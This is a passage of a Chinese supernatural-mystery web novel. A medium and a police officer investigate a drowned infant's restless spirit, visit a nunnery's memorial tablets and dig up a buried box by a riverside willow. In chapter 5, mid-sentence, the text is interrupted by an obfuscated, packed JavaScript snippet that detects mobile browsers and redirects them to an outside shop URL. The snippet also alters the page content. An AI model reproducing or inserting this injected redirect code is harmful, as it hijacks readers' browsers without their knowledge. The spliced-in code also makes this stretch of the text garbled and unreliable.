我握紧铜铃,将襁褓轻轻放在婴儿床上。 抽泣声停顿了一下,然后,变得更加急切和靠近,仿佛就在我们身边徘徊。 我拿起那支素银簪子。簪子毫无反应。哼歌的女人声没有出现。看来,秋燕的“钥匙”在这里没有被触发,或者,哼歌的干扰是另一层面的东西。 “水生……是你吗?”我尝试着,对着空气轻声说,用的是襁褓和胎发带来的感应,“梅芳阿姨的儿子?” 抽泣声猛地停了。 房间陷入一片死寂,只有我和赵安宁粗重的呼吸声。 几秒钟后,婴儿床上的那个襁褓,无风自动,微微起伏了一下。仿佛有个看不见的小身体,在里面轻轻扭动。 然后,一段极其模糊、破碎的“意念”,像冰冷的溪流,淌过我的意识: `“冷……水里……好冷……”` `“娘……娘不要我了……”` `“为什么……把我……丢在石头下……”` 伴随着这段意念,我“看”到了一闪而过的画面:冰冷的河水,一个襁褓被匆匆放在乱石堆下,远处有个女人哭泣着跑开的背影…… 是梅芳!她丢弃了自己的孩子?还是被迫? 而“水生”的魂灵,因为尸骨(或象征物)被草草掩埋,不得安息,其残留的悲伤和寒意,影响到了血脉相关(或许是周家后人)的赵安宁家?尤其在她迫切求子的环境下,形成了某种吸引和共鸣? “我找到了你的襁褓。”我继续用意念沟通,同时轻轻拍了拍婴儿床上的襁褓,“我会帮你找到你被埋起来的地方,让你……不再那么冷,好吗?” 襁褓再次微微起伏,那股悲伤的意念稍微平和了一些,但依旧充满了依赖和迷茫。 房间里的阴冷感,似乎减弱了一点点。 赵安宁惊疑不定地看着我和那个自动起伏的襁褓,大气不敢出。 我知道,这只是暂时的安抚。必须尽快去那个埋葬地点,完成“取回和供奉”,才能真正解决问题。 就在这时,我包里那个伪装成钥匙扣的微型摄像头,指示灯忽然急促地闪烁了一下红色! 这是楚遥设定的警报提示!表示有情况! 紧接着,我的手机震动,收到楚遥发来的加密短信,只有一个词: “速离!” 我心头一凛,立刻对赵安宁说:“快!收拾一下,我们马上离开这个房间!你先生可能提前回来了,或者有其他情况!” 赵安宁脸色煞白,慌忙点头。 我迅速将襁褓、长命锁等物收好,拉着赵安宁退出婴儿房,刚回到客厅—— 大门处,传来了钥匙插入锁孔转动的声音! (四) 门开了。 进来的不是赵安宁的先生。 而是一个穿着朴素深色外套、提着个小行李袋、脸色阴沉的老太太——赵安宁的婆婆,周婆婆。 她不是傍晚的火车回老家吗?怎么又回来了?而且,脸色极其难看,目光像刀子一样,直接射向惊慌失措的赵安宁,然后,落在了我身上。 “妈……您……您怎么回来了?”赵安宁声音发抖。 周婆婆没理她,盯着我,声音沙哑干涩:“你是谁?来我家干什么?” “阿姨您好,我是赵女士的朋友,路过上来坐坐。”我尽量让语气自然,同时身体微微侧移,挡在赵安宁前面。 “朋友?”周婆婆冷笑一声,眼神锐利地扫过我和赵安宁,又瞥了一眼虚掩的婴儿房门,“坐坐需要关着门在小孩房里?安宁,你搞什么鬼?是不是又跟你那些神神叨叨的东西混在一起?” “妈,我没有,这位宋老师只是……”赵安宁试图辩解。 “宋老师?”周婆婆打断她,目光再次钉在我脸上,带着一种审视和……深藏的警惕,“哪个宋?是不是……文秀娥家的那个?” 她认识姥姥?! 我心中警铃大作! “阿姨认识我姥姥?”我试探着问,手心开始冒汗。 周婆婆脸色变幻了一下,有一瞬间的复杂情绪——恐惧?怨恨?还是别的?很快被她压下去,变成更冷的严厉:“哼,果然。文秀娥自己走了,留个小辈来搅和……我们家的事,不用外人管!请你立刻离开!” “妈!宋老师是来帮我的!我房间里真的有……”赵安宁急道。 “闭嘴!”周婆婆厉声呵斥,“什么真的假的!我看你是魔怔了!再胡闹,明天就让你先生送你去医院好好看看!”她转向我,语气不容置疑,“宋小姐,请吧。以后也不要再联系我家安宁。否则,别怪我不客气。” 我看着她眼中那抹不容置疑的冷厉,知道今晚不能再待下去了。周婆婆显然知道些什么,而且极度抗拒。 “阿姨,有些事,不是捂就能捂住的。”我平静地说,目光意有所指地看了一眼婴儿房方向,“尤其是,牵扯到无辜的孩子。” 周婆婆身体几不可查地一颤,脸色更白,但嘴更硬:“我不知道你在说什么!走!” 我拉了拉还想说话的赵安宁,对她微微摇头,示意她冷静。然后,我对周婆婆点了点头:“打扰了。” 转身,开门,离开。 走到电梯口,我还能听到门内传来周婆婆压抑的斥责声和赵安宁低低的哭泣声。 电梯下行。我拿出手机,看到楚遥又发来一条信息:“周婆婆在小区门口下的出租车,神色不对,我立刻通知你了。你没事吧?” 我回复:“没事,刚出来。周婆婆认识我姥姥,反应激烈。赵家水很深。” 楚遥:“先撤,老地方见。” 走出单元楼,夜色已深。晚风吹来,带着凉意。我回头看了一眼赵安宁家亮着灯的窗户,心情沉重。 周婆婆的突然返回和激烈反应,证实了我的猜测:周家,至少周婆婆,绝对和当年梅芳的事情有关联,甚至可能就是“勿令周姓人知”里的“周姓人”。 “水生”的埋骨地,必须尽快去。而且要瞒着周家人。 而周婆婆认识姥姥,说明姥姥当年很可能也接触过周家,或者调查过梅芳的事。 线索越来越多了。 但危险,也越来越近。 我握紧口袋里冰冷的铜铃和襁褓,快步向小区外走去。 楚遥的车,就在不远处的暗影里等着。 今晚,只是一个开始。 真正的较量,和更深的水,还在后面。 --- 坐进楚遥的车里,我把今晚的情况快速说了一遍,重点是婴儿房的感应、找到的长命锁、襁褓与“水生”的短暂沟通,以及周婆婆的异常反应。 楚遥听着,脸色凝重。“周婆婆认识你姥姥……这点很关键。她可能是个突破口,但也可能是最大的阻力。”她看了看我拿出来的襁褓和长命锁,“接下来你打算怎么办?真去那个什么清水东岸挖东西?” “必须去。”我看着窗外流逝的灯火,“‘水生’的魂灵不安,赵安宁家就不得安宁。而且,我总觉得,集齐这些‘钥匙’,解开一个个小谜团,才能拼出当年完整的真相。梅芳、‘水生’、周家,是其中一块重要的拼图。” 楚遥沉默地开车,过了一会儿才说:“地址给我。去清河县那边,不比在市内,人生地不熟,还可能遇到‘清理者’或者周家的人。我们需要计划,需要支援。” “我知道。”我疲惫地靠在后座上,“先回去,从长计议。对了,苏怀薇那边……” 话音未落,我的手机疯狂震动起来。 是苏怀薇。 我立刻接通:“苏小姐?” 电话那头,传来苏怀薇极度惊恐、几乎破音的尖叫,混杂着剧烈的喘息和碰撞声: “宋老师!救、救命!它进来了!那双鞋……它自己走进来了!就在客厅!朝着我卧室来了!啊——!!门……门打不开!救命——!!” 尖叫声戛然而止,变成一片死寂的忙音。 我握着手机,浑身血液仿佛瞬间冻住。 楚遥一脚刹车,车停在路边。她回头看我,眼神锐利如刀:“怎么回事?!” 我脸色惨白,声音发颤: “苏怀薇……出事了。‘它们’……等不及了。” 5. 第 5 章 楚遥的车像一头被激怒的钢铁野兽,在深夜空旷的街道上狂飙,警灯不知何时已经悄悄亮起,在车窗内无声旋转,映得我们脸色忽明忽暗。 “地址!”楚遥的声音绷得像拉满的弓弦。 我报出苏怀薇小区的名字,手指在手机屏幕上飞快滑动,试图再次拨打她的电话。无人接听。 (OS:千万不要有事……千万不要……) “联系她小区物业或者报警了吗?”我问,声音发紧。 “已经让指挥中心通知辖区派出所和开锁公司立刻赶过去,用‘疑似突发疾病,亲友联系不上’的理由,比我们快。”楚遥猛打方向盘,车子甩进另一条路,“我们到之前,希望她还能撑住。” 希望?我紧紧攥着口袋里冰冷的铜铃,另一只手无意识地摩挲着那褪色的襁褓边缘。姥姥,如果您在天有灵,保佑她…… 不。一个更冷硬的声音在心底响起:宋溪月,你现在是问阴婆。别祈祷,想办法。 ________________________________________ (一) 车子一个急刹,停在苏怀薇公寓楼下。楼下已经停着一辆警车和一辆物业的车,几个保安和两名警察站在单元门口,正和一个穿着睡衣、惊魂未定的中年男人(应该是物业或邻居)说着什么。 我和楚遥推开车门冲过去。楚遥亮出证件:“市局刑侦支队楚遥,情况怎么样?” 一个年轻警察立刻汇报:“楚队!我们和开锁的一起刚强行打开门,屋里没发现人!但客厅地上有……”他犹豫了一下,压低声音,“有一双摆放得很整齐的红色绣花鞋,鞋尖对着卧室方向。卧室门从里面反锁了,我们正在准备破门。” 没发现人?但鞋在? 我心脏一沉,不等他们说完,径直冲进单元楼,楚遥紧跟在后。 电梯飞快上升。狭小空间里,只有我们粗重的呼吸声。 “待会跟在我后面。”楚遥低声道,手已经按在了腰间的枪套上,“无论看到什么,别冲动。” 电梯门开。苏怀薇的公寓门大敞着,里面灯火通明。客厅里,几名警察和物业人员面色紧张地站在一旁,目光都聚焦在那双静静躺在地板中央的绣花鞋上。 正是我从旧货市场买回、后来让苏怀薇小心收好的那双! 它此刻看起来平平无奇,甚至有些陈旧黯淡,但摆放在光洁的瓷砖地上,鞋尖精准地指向紧闭的卧室门,透着一股令人毛骨悚然的仪式感。 “苏小姐!苏怀薇!你在里面吗?能听到吗?我们是警察!”一名警察用力拍打卧室门。 里面死寂无声。 我掌心炙痕滚烫。我盯着那双鞋,集中精神,试图感应什么。没有强烈的怨灵波动,只有一种……冰冷的、粘稠的、仿佛能将人拖入深渊的沉寂感,以那双鞋为中心弥漫开来。 “让开!”楚遥示意警察退后,她侧身,猛地一脚踹在卧室门锁附近! “砰!”门框震动,锁舌松动。 第二脚!“哐当!”门被踹开! 卧室里一片狼藉。台灯倒在地上,窗帘被扯下半边,梳妆台上的瓶瓶罐罐散落一地。而苏怀薇—— 她背对着我们,蜷缩在房间最里面的角落,头深深埋在膝盖里,身体剧烈地颤抖着,喉咙里发出断断续续、极度压抑的呜咽声。 “苏小姐!”楚遥第一个冲进去,小心地靠近,“苏怀薇,能听见我说话吗?没事了,警察来了。” 苏怀薇毫无反应,依旧沉浸在自己的恐惧中,颤抖不止。 我紧随其后,目光快速扫过房间。没有第二双鞋,没有湿脚印,没有肉眼可见的异常。但空气中残留着浓重的水腥气,以及一种精神高度紧张后留下的崩溃感。 我的视线落在她面前的地板上。那里,有一小摊未干的水渍,形状不规则,像是从她身上滴落的,又像是……凭空出现的。 “苏怀薇!”我蹲下身,轻轻碰了碰她的肩膀。 她猛地一哆嗦,像是受惊的兔子,终于缓缓抬起头。 脸上没有伤痕,但眼神空洞涣散,瞳孔放大,脸上毫无血色,头发和睡衣领口湿漉漉的,还在往下滴水。 “冷……好冷……”她牙齿格格打颤,目光没有焦点,“水里……好多水……她们拉着我的脚……不让我上去……鞋……鞋在走路……朝我走过来……” 她语无伦次,显然受到了极大的精神冲击。 “没事了,你现在安全了,不在水里。”我尽量放柔声音,同时示意楚遥去拿条干毛巾。我握住她冰冷颤抖的手,掌心的炙痕贴着她皮肤,一丝微热传递过去。 苏怀薇似乎感受到一点暖意,涣散的眼神慢慢聚拢了一些,聚焦在我脸上。 “宋……宋老师……”她认出我,眼泪瞬间涌出,“它们……它们来了……我差点……差点就被拖下去了……” “过去了,都过去了。”我接过楚遥递来的毛巾,裹住她,“你看到什么了?慢慢说。” 在断断续续、夹杂着哭泣和颤抖的叙述中,我们拼凑出了大概: 大约在我离开赵安宁家后不久,苏怀薇独自在家,忽然听到客厅传来清晰的、硬物敲击木地板的“哒、哒”声,节奏缓慢,一步步逼近卧室。她从猫眼往外看,看到那双绣花鞋,正自己一步一步,鞋尖对着卧室门,走了过来!然后门锁开始自己转动(但她反锁了),接着卧室里开始莫名渗水,水位快速上涨,冰冷刺骨,水中还有无数苍白的手臂伸出抓她,她想喊,却发不出声音,想跑,脚像被钉住……直到电话铃声(可能是我后来打的)突然响起,一切幻象瞬间消失,只剩下浑身湿透、瘫软在地、以及门外警察破门的声音。 又是“水”,又是“拖下去”。和她母亲的遭遇如出一辙! 但这次,更直接,更凶险,几乎就要得手了! “是‘清理者’在捣鬼,还是……‘她们’失控了?”楚遥低声问我,眉头紧锁。 “不知道。”我看着精神濒临崩溃的苏怀薇,“但这里不能待了。必须给她换个绝对安全的地方。” 最终,在楚遥的安排下,苏怀薇被暂时安置到市局附近一个内部招待所的单间,有专人看护(明面上是保护重要线人安全)。她的公寓被暂时封锁,等待进一步的现场勘查,特别是那双诡异的绣花鞋和那摊水渍。 离开招待所时,已是凌晨。苏怀薇服用了医生开的镇静药物,沉沉睡去,但眉头依旧紧锁。 楚遥开车送我回书店,路上我们都沉默着。 “赵安宁那边,你打算怎么办?”楚遥先开口,“苏怀薇的事证明,对方的‘行动’在升级,从恐吓到几乎实质性的伤害。赵安宁家的情况可能更复杂,她婆婆已经明确反对,你再去,风险很大。” “我知道风险。”我看着窗外飞速后退的霓虹,“但正因为对方在动,我们更不能停。苏怀薇是‘第三位’的女儿,她母亲的事或许暂时了结(通过我之前的干预),但赵安宁家牵扯的可能是‘第一位’的孩子,这条线刚打开,不能断。而且……” 我转头看她:“周婆婆认识我姥姥,这是条重要线索。她越是激烈反对,越是说明她知道的东西关键。我们必须从她那里打开缺口。” “怎么打开?强行问?她那个态度,能跟你说?”楚遥摇头。 “她不跟我说,但可能会跟别人说,或者……会去做一些事情。”我想起木匣里的提示,“‘勿令周姓人知’。周婆婆就是周姓人。她很可能定期去做一些与‘水生’有关的事情,比如……祭拜?” 楚遥眼睛微微一亮:“你是说……跟踪?看她日常行为?” “或者,查她最近的行踪记录,消费记录,看她有没有定期去某个特定地方。”我说,“她今天突然从火车站返回,本身就可疑。也许她根本不是要回老家,而是发现赵安宁联系了我,临时改变计划回来阻止?” 楚遥若有所思:“行,这个方向可以查。交给我。你这边……去那个埋葬地点的事,需要从长计议,等我查一下清河县那边现在的地形和情况,最好能找个合理的身份过去,不能贸然行动。” 回到书店时,天边已泛起鱼肚白。 极度疲惫,却毫无睡意。我坐在柜台后,把今晚的事情、线索、猜测,一条条写在本子上。 苏怀薇遇袭,说明“清理者”或“她们”已经将矛头直接对准了我们这些“管闲事”的人。赵安宁线因周婆婆的阻挠暂时受阻,但发现了“水生”和梅芳这条更久远的线。周婆婆是关键知情人。 而所有这些,都隐隐指向那个叫吴茂源的人,和那个被称为“清理者”的阴影。 (二) 第二天下午,楚遥带来了关于周婆婆的初步调查结果。 “查了周婆婆(周桂芬)近半年的出行和消费记录。”楚遥递给我几张打印纸,“发现一个规律:每隔两周的周四下午,她都会独自乘坐公交车,前往城西的‘静水庵’,停留约两到三小时,然后返回。消费记录显示她在庵内有小额捐赠,但更关键的是……” 她指着其中一条记录:“上上周四,她从静水庵出来后,去了一家老式香烛店,购买了一些特定规格的黄表纸、朱砂和线香。这些东西,不是普通祭拜用的。” 静水庵?又是水! “她去静水庵干什么?拜佛?” “静水庵是尼姑庵,但据说后山有个很深的‘静水潭’,以前是放生和……处理一些‘不干净’东西的地方。”楚遥看着我,“更重要的是,我们调取了静水庵周边一个社会监控(比较模糊),拍到周婆婆上次离开时,手里除了普通的香烛袋,还多了一个用黑布包裹着的、巴掌大小的方形物件。” 黑布包裹的方形物件?牌位?! “能看清是什么吗?” “太模糊,看不清。但形状很像是……灵位牌。”楚遥压低声音,“而且,根据庵里一位愿意透露些情况的居士说,周婆婆每次来,并不在大殿长时间礼佛,而是会去后院靠近静水潭的一处偏殿,那里供奉的并不是寻常神佛,而是一些……无主的牌位,供信众超度亡魂,尤其是那些早夭或横死的婴灵。” 无名牌位!早夭婴灵! “水生”?! 所有的线索瞬间串联起来! 周婆婆每隔两周去静水庵,很可能是去秘密祭拜“水生”的牌位!为了平息或者安抚这个因周家(或许就是她丈夫或上一辈)的过错而早夭的婴灵!而赵安宁家出现的婴儿哭声,正是因为这种祭拜可能不够,或者出现了新的变数(比如赵安宁强烈的求子意念形成了某种吸引)! “那个牌位,”我急切地问,“能知道具体材质吗?或者,有没有可能拍到更清晰的画面?” “庵里居士说,那些无名牌位大多是木质,但具体木材不一。周婆婆供奉的那个,她隐约记得是颜色比较深、木质比较细的一种,像是……柳木?”楚遥回忆着转述。 柳木?! 我脑子里“轰”的一声! 苏怀薇梦中那条河边的柳树! 木匣刻字里提到的“清水东岸第三柳下”! 牌位的木头材质,和苏怀薇梦中的“河畔柳树”相同?! 这不是巧合! 柳树常种水边,招阴,也常用于一些民间法事。用柳木做牌位来供奉水边亡魂(尤其是婴灵),很符合某种阴性的、安抚的、甚至可能是“束缚”的意图! “楚遥,”我声音发干,“我需要去一趟静水庵。亲眼看看那个牌位。如果真是柳木,如果上面有任何信息……哪怕一点点,都可能是关键!” 楚遥看着我:“静水庵不是旅游景点,香客不多,突然去个生面孔打听特定牌位,很容易引起注意,尤其是如果周婆婆或者她背后的人在那里有眼线。” “那怎么办?” 楚遥想了想:“我有个远房表姨,信佛,偶尔会去静水庵帮忙。我让她带你去,就说你是她外甥女,对佛法感兴趣,想去看看,捐点香油钱,顺便‘随喜’看看那些需要超度的无名牌位,积点阴德。这个理由比较自然。” “能行吗?” “试试看。我表姨人很热心,也信得过。我这就联系她。”楚遥说着拿起手机。 事情比预想的顺利。楚遥的表姨王阿姨爽快地答应了,约好第二天一早带我去。 (三) 第二天上午,我跟着王阿姨来到了位于城西山脚的静水庵。庵堂不大,但古树参天,环境清幽,空气中弥漫着香火和檀香的味道,莫名让人心静。 王阿姨显然常来,熟门熟路地带我进了大殿,捐了香油钱,又跟值班的师父寒暄了几句,提到我想看看那些无主牌位,尽点心。 值班的是个中年师太,法号静云,面容和善。她打量了我几眼,大概看在我捐了香油钱和王阿姨的面子上,点了点头:“施主有心了。那些都是苦命人,无人祭奠,能有心念及,也是善缘。随我来吧。” 她领着我们穿过大殿,来到后院一处更为僻静的偏殿。这里光线昏暗,气氛肃穆,靠墙摆着好几排木架,上面密密麻麻供奉着许多小小的、黑色的无名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182826|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牌位,前面放着简陋的香炉和清水碗。 一眼望去,令人心头沉重。 “就是这里了。施主可自行观看,但请保持肃静,勿要随意触碰。”静云师太合十,退了出去。 王阿姨也双手合十,低声念了句佛号,然后对我说:“你慢慢看,我去前面帮我朋友整理一下佛经。”她知道我有“正事”,体贴地给了我空间。 我点点头,目光快速扫过那些牌位。大部分木质粗糙,颜色深黑,看不清具体材质。我集中精神,试图感应哪个牌位可能与“水生”或周婆婆有关。 掌心的炙痕,在进入这个偏殿后就有微微发热,但不算强烈。 我沿着木架慢慢走,仔细辨认。很多牌位上空空如也,有的刻着模糊的“某氏”、“无名”等字样,有的甚至连字都没有。 走到第三排中间时,我脚步一顿。 那里有一个牌位,颜色确实比其他一些更深,木质纹理看起来很细腻。最重要的是,牌位前的小香炉里,香灰是满的,而且看起来比较新鲜,旁边的清水碗也是满的,水很清澈。 而它周围的牌位,香灰大多只有薄薄一层,甚至没有。 有人最近专门祭拜过这个! 我凑近了些,忍着那种阴森感,仔细观察牌位本身。上面没有刻字,但在牌位右下角一个极其不起眼的地方,似乎有用极细的刻刀划出的、浅浅的痕迹。 不是字,更像是一个标记:三道并排的短竖线,旁边有一个像是“水”字变形的符号。 梅芳的孩子叫“水生”!这个标记,是否代表“水”和“三”?或者“水”和某个顺序? 我心跳加速,目光落在牌位的木质上。是柳木吗?我对木材了解不多,但看纹理和颜色,确实很像。 我小心翼翼地伸出手指,想要轻轻触摸一下牌位边缘,感受木质和残留的气息—— “这位施主。” 一个平和却带着不容置疑力量的女声在我身后响起。 我触电般缩回手,转身。 不知何时,一位穿着灰色僧袍、年纪稍长、面容清癯、眼神却异常明澈的师太站在我身后不远处。她手里捻着一串佛珠,静静地看着我。 是之前没见过的师太。 “师太。”我连忙合十行礼。 “此间牌位,皆是无主孤魂,寄托于此,受佛法荫庇,以求安宁。”师太缓缓道,声音不大,却字字清晰,“施主心有挂碍,目光游移,似在寻找特定之人。不知……所寻何人?所为何事?” 我心中一惊。这位师太好敏锐的洞察力。 “师太明鉴。”我知道瞒不过,索性半真半假地说,“家中一位长辈,多年前曾遗失一婴孩,始终耿耿于怀。听说静水庵有供奉无名婴灵之处,故来查看,想看看是否有缘……能感应到一丝半缕,也好让长辈安心。” 师太的目光在我脸上停留片刻,又扫了一眼我刚才注视的那个牌位,眼中闪过一丝了然,似乎还有一丝……悲悯? “缘分一事,强求不得。执念太深,反易惊扰清净,甚至引来不必要的……‘关注’。”她意有所指地说,“施主身上,似带有‘水’的气息,且不止一道。前路暗涌,当持心正念,莫要深陷其中。” 她的话,和之前静尘师太的提醒竟有几分相似! “师太,您知道这个牌位……”我忍不住指向那个无名牌位。 师太轻轻摇头:“老尼不知具体。只知此位乃一位周姓老施主常年供奉,所费心力颇多。她所求,无非‘安宁’二字。施主若真为化解而来,当知,有些因果,非外力可强行斩断;有些平静,亦非探寻真相所能给予。” 周姓老施主!果然是周婆婆! “师太的意思是……我们不应该再查下去?” “老尼并无意指路。”师太垂下眼帘,“只是提醒施主,静水潭水,表面平静,实则最深。有些东西,沉下去了,就莫要再轻易搅动。否则,恐生波澜,殃及自身。” 她说完,对我微微颔首,便转身,悄无声息地离开了偏殿。 我站在原地,回味着她的话。 她在警告我。她知道我在查什么,也知道危险。但她似乎并不完全反对,只是提醒我要小心,要明白可能带来的后果。 我最后看了一眼那个无名的柳木牌位,和那新鲜的香灰、清水。 周婆婆定期来此,以柳木牌位和清水供奉“水生”。这是一种赎罪?还是某种契约性的安抚? 而“水生”的尸骨(或象征物),却被埋在清河县河边的乱石堆下。牌位在这里,尸骨在那里……这是分开镇压?还是别有深意? 线索越发扑朔迷离。 但至少,我确认了牌位的存在和材质,确认了周婆婆的秘密祭拜。 下一步,必须尽快去清河县,找到“水生”被埋藏的具体地点。 就在我准备离开偏殿,去找王阿姨时,手机在口袋里震动了一下。 是楚遥发来的加密信息: “急。刚收到技侦报告:昨晚苏怀薇公寓客厅水渍及绣花鞋表面,提取到微量相同的特殊有机化合物,与之前‘清理者’符纸上‘未明有机化合物’成分高度相似!” 我瞳孔骤缩。 “清理者”的痕迹,出现在了苏怀薇的遇袭现场! 昨晚的事,不是单纯的“亡灵作祟”,而是有“人”在背后操纵?! 楚遥的下一条信息紧随而至: “还有,赵安宁的婆婆周桂芬,一个半小时前,买了去清河县的长途汽车票。发车时间,今天下午三点。” 周婆婆突然返回老家清河县! 是在我探查静水庵后,察觉到了什么,急着回去处理“水生”埋骨地的事情?还是另有目的? “清理者”的触角,已经伸到了苏怀薇身边,那赵安宁呢?周婆婆呢?她们是否也在监控之下? 我必须赶在周婆婆前面,或者至少同步行动,前往清河县! 但楚遥这边,因为苏怀薇案件牵扯出“清理者”痕迹,需要留下协调调查,无法立刻脱身。 她发来最后一条信息:“我表弟在清河县工作,信得过。地址和联系方式发你。他会接应你,提供必要帮助。但一切小心,‘清理者’可能也在盯着那边。随时保持联系。” 我看着屏幕上的地址和电话号码,又想起静水庵师太的警告。 静水潭的波澜,看来是避不开了。 我握紧手机,走出静水庵偏殿。 山风带着凉意吹来。 下一站,清河县。 6. 第 6 章 楚遥表弟叫江磊,二十七八岁,在清河县文旅局做基层干事,皮肤黝黑,性格爽朗,一看就是本地人。 我坐长途汽车到清河县汽车站时,他已经举着写有我名字的纸牌在出站口等了。 “宋姐是吧?我姐(楚遥)反复叮嘱,一定要把你安全送到,有啥需求尽管说!”他上来就热情地帮我提行李,“清河县小,没啥复杂路况,就是老城区和河边那边路不好走,你要去的清水东岸,近几年搞生态修复,有些地方封了,得绕路。” (OS:绕路=增加风险+耽误时间。江磊弟弟,你这消息真是喜忧参半啊!) “周桂芬(周婆婆)你有印象吗?她今天下午三点左右到的,可能去了河边或者老城区亲戚家。”我上车后直奔主题。 江磊发动车子,眉头一皱:“周桂芬?这个名字有点耳熟……哦!好像是河西村的,早年嫁到城里,偶尔回来祭祖。我帮你问问村里熟人,看看有没有人见过她。”他一边说一边掏出手机发语音,“清河县就这点好,谁家有动静,不出半天全县都知道(夸张了但差不多)。” 车子驶离县城主干道,往河边方向开。清河县比我想象的更古朴,老房子沿河岸而建,青石板路蜿蜒,河水浑浊,带着一股潮湿的腥气,岸边确实种着不少老柳树,枝繁叶茂,投下大片阴凉,却也透着一股说不出的阴郁。 “宋姐,你要去的清水东岸第三柳,我大概知道位置。”江磊指着前方,“那片柳树最老,有几棵都快百年了,以前是河西村人洗衣、祭祀的地方,近几年封了,没人去。”他顿了顿,压低声音,“而且那边有点邪门,老辈人说,晚上能听到小孩哭,还有人见过白影子在柳树下飘。” 掌心炙痕微微发烫,像是在回应这个话题。 (OS:小孩哭?白影子?水生的魂灵果然还在这里徘徊。) “你听说过‘水边的约定’吗?”我问,“比如有人在河边放了东西,约定日后取回。” 江磊愣了一下,仔细回想:“水边的约定……好像有点印象!我奶奶以前跟我讲过,几十年前,有个外村来的女人,在第三棵柳树下扔了个襁褓,跟村里接生婆说,等过段时间就回来取,还留了个银锁当记号。但后来那女人再也没回来,银锁也不见了,有人说被水冲走了,有人说被村里老人收起来了。” 银锁!和我从赵安宁家布偶里找到的那个粗糙银锁对上了! “那女人叫什么名字?”我追问。 “没说名字,就说是‘梅家的’。”江磊摇头,“那时候穷,这种事不少见,没人深究。怎么,宋姐你找的就是这个?” 我没直接回答,只是说:“可能有关。我们先去第三棵柳树那里看看。” 车子在离河边还有一段距离的路口停下,前面的路果然被蓝色铁皮围挡封了,上面写着“生态修复施工,禁止入内”。 “得从旁边的小路绕进去,大概走十分钟。”江磊领着我下车,指了指一条狭窄的、长满杂草的土路,“我跟施工队的人认识,打了招呼,说我们是来拍老柳树资料的,他们没多问。” 我们沿着小路往里走,杂草没过脚踝,虫鸣此起彼伏,空气中的水腥气越来越浓,混合着泥土和腐烂树叶的味道。 走了大概五分钟,前方豁然开朗,一片开阔的河岸出现在眼前。岸边种着十几棵老柳树,树干粗壮,枝桠交错,其中第三棵柳树尤其显眼,树干歪歪扭扭地斜向河面,像是在俯瞰什么。 “就是那棵!”江磊指给我看。 我心跳瞬间加速,掌心炙痕烫得惊人,像是有一团火在烧。我快步走过去,绕着第三棵柳树打量。 柳树树干上有明显的刻痕,像是被人用刀划过,年代久远,已经模糊。树下是松软的泥土,靠近河岸的地方有大片乱石堆,和木匣刻字里“乱石堆下”的描述完全吻合! “宋姐,你看这里!”江磊突然指向乱石堆旁的地面。 我顺着他指的方向看去,瞳孔骤缩。 那里的泥土有明显被翻动过的痕迹,不是自然风化,而是近期有人用工具挖过,土块新鲜,还带着湿气。而且,翻动的范围不大,正好对准乱石堆下方,像是有人精准定位,挖了又填回去! “是谁动过?”江磊也看出不对劲,“施工队不会来这儿挖,游客也进不来。” 我蹲下身,小心翼翼地拨开表层泥土,指尖触到一块冰凉坚硬的东西,不是石头,像是……木头碎片? 我用手轻轻刨开周围的土,挖出一小块腐朽的木板,上面还残留着淡淡的蓝色布料纤维——和我带来的那个褪色襁褓颜色一致! 是“水生”的襁褓碎片!有人已经找到这里,挖开了埋骨地! “周婆婆……”我脱口而出。除了她,没人能这么精准地找到位置,还来得这么快! 江磊刚要说话,他的手机突然响了,是村里熟人打来的。他接起听了几句,脸色变了:“啥?周桂芬去了河西村老宅子?还问了清水东岸施工队的事?” 挂了电话,他急道:“宋姐,我熟人说,周桂芬下午到县城后,先回了河西村老宅子,待了不到半小时就出来了,专门问了清水东岸施工队的围挡怎么绕进去,还买了把铁锹!” 铁锹?她果然是来挖“水生”埋骨地的! “她现在在哪?”我追问。 “不知道,没跟踪到。”江磊皱眉,“但按时间算,她要是绕路进来,可能已经在附近了!” 我猛地站起身,环顾四周。河岸空旷,除了我们没别人,但风穿过柳树枝桠,发出“呜呜”的声响,像是有人在低声啜泣,又像是有人在暗处窥探。 “我们得赶紧挖,看看她到底拿走了什么,或者留下了什么。”我从背包里拿出楚遥给的折叠工兵铲(说是户外工具,实则防身+挖东西两用),“江磊,你帮我望风,一旦有人来,立刻告诉我!” “好!”江磊也紧张起来,警惕地盯着小路方向。 我握着工兵铲,对准乱石堆下方被翻动过的区域,开始小心挖掘。泥土松软,挖起来不算费力,但我不敢太快,怕破坏可能存在的遗物。 挖了大概半米深,工兵铲碰到了一个硬邦邦的东西。 我心头一喜,放慢动作,用手刨开周围的土。 是一个小小的、朽坏严重的木盒,比巴掌大不了多少,表面已经烂得不成样子,依稀能看到上面刻着简单的花纹,和襁褓上的纹路相似。 “找到了!”我低声说。 江磊凑过来,眼睛发亮:“这里面是啥?” 我小心地把木盒抱出来,放在一块平整的石头上。木盒锁扣已经腐朽,轻轻一掰就开了。 里面没有尸骨(毕竟几十年了,可能早已化为泥土),只有三样东西: 一枚小小的、发黑的银制长命锁,和我从赵安宁家布偶里找到的那个一模一样,只是这个更陈旧,锁身刻的“平安”二字几乎磨平; 一小缕用红绳系着的、早已干枯发黄的胎发,和我从木匣里拿到的那撮很像,只是更细更少; 还有一张折叠得整整齐齐的、泛黄发脆的纸条,上面用铅笔写着几行歪歪扭扭的字,墨迹已经模糊: “水生,娘对不住你。 水边约定,娘记着。 等风波过,一定来接你。 梅字。” 梅字!梅芳! “水边的约定”真的存在!梅芳当年弃婴,是被逼无奈,约定日后风波平息就回来接孩子,可她再也没回来——大概率是遭遇了不测,和姥姥日记里记录的“梅芳婶”对应上了! 我握着那张脆弱的纸条,指尖微微颤抖。这不是遗弃,是被迫的分离,是一个母亲最后的希望和承诺。 而周婆婆,作为周家的人,当年可能知道这个约定,甚至参与了“风波”,所以才会“勿令周姓人知”,才会几十年如一日地祭拜,现在又急着来挖走这些遗物! “宋姐,你看那边!”江磊突然压低声音,手指向斜前方的柳树林。 我立刻握紧木盒,顺着他指的方向看去。 